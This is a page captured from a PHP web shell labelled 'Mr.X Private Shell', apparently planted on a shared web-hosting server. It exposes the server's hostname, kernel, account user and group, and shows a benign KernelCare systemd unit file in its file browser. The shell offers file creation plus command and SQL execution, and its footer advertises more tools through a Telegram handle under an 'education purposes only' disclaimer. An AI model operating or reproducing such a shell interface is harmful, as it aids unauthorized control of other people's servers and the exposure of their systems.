Uname: Linux premium294.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User: 768 (artoqlkw)
Group: 773 (artoqlkw)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//usr/lib/systemd/system      ( Reset | Go to )
File Name: kcare.service
[Unit]
Description=Loads kernelcare patches on startup
After=multi-user.target

[Service]
Type=oneshot

ExecStart=-/usr/bin/kcarectl --smart-update
RemainAfterExit=yes

# Record shutdown timestamp for anomaly detection (crash vs proper shutdown).
ExecStop=-/bin/sh -c "date +'%%s' > /var/cache/kcare/stopped.at"
# Ordinary reboot will lead to the service stopping and we
# can delete smart-update lock file.
ExecStop=-/bin/sh -c "rm -rf /var/cache/kcare/.kcareprev.lock"
# KPT-5409: unload patches only on system shutdown/reboot, not on regular
# service stop/restart. kcare_load() handles re-patching atomically so
# restarting the service does not require an unload cycle.
ExecStop=/bin/sh -c "if [ \"$(systemctl is-system-running 2>/dev/null)\" = stopping ]; then /usr/bin/kcarectl --unload; fi"

[Install]
WantedBy=multi-user.target

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL